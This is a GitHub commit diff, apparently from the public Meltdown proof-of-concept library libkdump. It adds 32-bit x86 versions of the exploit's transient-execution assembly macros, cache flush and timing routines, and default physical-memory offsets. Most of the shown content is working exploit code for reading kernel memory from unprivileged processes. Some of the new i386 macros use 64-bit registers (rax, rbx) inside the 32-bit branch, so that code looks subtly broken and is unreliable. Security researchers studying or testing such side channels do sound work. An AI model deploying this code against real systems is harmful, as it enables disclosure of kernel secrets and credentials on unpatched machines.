Skip to content
This repository was archived by the owner on Oct 1, 2022. It is now read-only.

Commit

Permalink
Add support to x86-32 platform
Browse files Browse the repository at this point in the history
Signed-off-by: Raphael S. Carvalho <[email protected]>
  • Loading branch information
raphaelsc committed Jan 10, 2018
1 parent e5793de commit 587761c
Show file tree
Hide file tree
Showing 3 changed files with 73 additions and 4 deletions.
65 changes: 62 additions & 3 deletions libkdump/libkdump.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,13 @@ static libkdump_config_t config;
#define _XBEGIN_STARTED (~0u)
#endif

#if defined(__i386__) && defined(FORCE_TSX)
#undef FORCE_TSX
#warning TSX cannot be forced on __i386__ platform, proceeding with compilation without it
#endif

#ifdef __x86_64__

// ---------------------------------------------------------------------------
#define meltdown \
asm volatile("xorq %%rax, %%rax\n" \
Expand Down Expand Up @@ -67,6 +74,44 @@ static libkdump_config_t config;
: "c"(phys), "b"(mem) \
: "rax");

#else /* __i386__ */

// ---------------------------------------------------------------------------
#define meltdown \
asm volatile("xorl %%eax, %%eax\n" \
"1:\n" \
"movl (%%esi), %%esi\n" \
"movb (%%ecx), %%al\n" \
"shl $12, %%eax\n" \
"jz 1b\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem), "S"(0) \
: "eax");

// ---------------------------------------------------------------------------
#define meltdown_nonull \
asm volatile("xorl %%eax, %%eax\n" \
"1:\n" \
"movb (%%ecx), %%al\n" \
"shl $12, %%rax\n" \
"jz 1b\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem) \
: "eax");

// ---------------------------------------------------------------------------
#define meltdown_fast \
asm volatile("xorl %%eax, %%eax\n" \
"movb (%%ecx), %%al\n" \
"shl $12, %%rax\n" \
"movl (%%rbx,%%rax,1), %%rbx\n" \
: \
: "c"(phys), "b"(mem) \
: "eax");
#endif

#ifndef MELTDOWN
#define MELTDOWN meltdown_nonull
#endif
Expand Down Expand Up @@ -102,8 +147,10 @@ static void debug(d_sym_t symbol, const char *fmt, ...) {
static inline uint64_t rdtsc() {
uint64_t a, d;
asm volatile("mfence");
#if defined(USE_RDTSCP)
#if defined(USE_RDTSCP) && defined(__x86_64__)
asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
#elif defined(USE_RDTSCP) && defined(__i386__)
asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "ecx");
#else
asm volatile("rdtsc" : "=a"(a), "=d"(d));
#endif
Expand All @@ -112,6 +159,7 @@ static inline uint64_t rdtsc() {
return a;
}

#if defined(__x86_64__)
// ---------------------------------------------------------------------------
static inline void maccess(void *p) {
asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax");
Expand All @@ -121,6 +169,17 @@ static inline void maccess(void *p) {
static void flush(void *p) {
asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax");
}
#else
// ---------------------------------------------------------------------------
static inline void maccess(void *p) {
asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax");
}

// ---------------------------------------------------------------------------
static void flush(void *p) {
asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax");
}
#endif

// ---------------------------------------------------------------------------
static int __attribute__((always_inline)) flush_reload(void *ptr) {
Expand Down Expand Up @@ -269,7 +328,7 @@ static void auto_config() {
config.load_threads = 1;
config.load_type = NOP;
config.retries = 10000;
config.physical_offset = 0xffff880000000000ull;
config.physical_offset = DEFAULT_PHYSICAL_OFFSET;
}

// ---------------------------------------------------------------------------
Expand Down Expand Up @@ -487,4 +546,4 @@ int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
}
}
return max_i;
}
}
10 changes: 10 additions & 0 deletions libkdump/libkdump.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,16 @@
#include <stdint.h>
#include <stdio.h>

#if !(defined(__x86_64__) || defined(__i386__))
# error x86-64 and i386 are the only supported architectures
#endif

#ifdef __x86_64__
#define DEFAULT_PHYSICAL_OFFSET 0xffff880000000000ull
#else
#define DEFAULT_PHYSICAL_OFFSET 0xc0000000ull
#endif

/**
* libkdump exception handling
*/
Expand Down
2 changes: 1 addition & 1 deletion reliability.c
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
int main(int argc, char *argv[]) {
size_t scratch[4096];
libkdump_config_t config;
size_t offset = 0xffff880000000000ull;
size_t offset = DEFAULT_PHYSICAL_OFFSET;
int progress = 0;
unsigned char secret = 'X';

Expand Down

0 comments on commit 587761c

Please sign in to comment.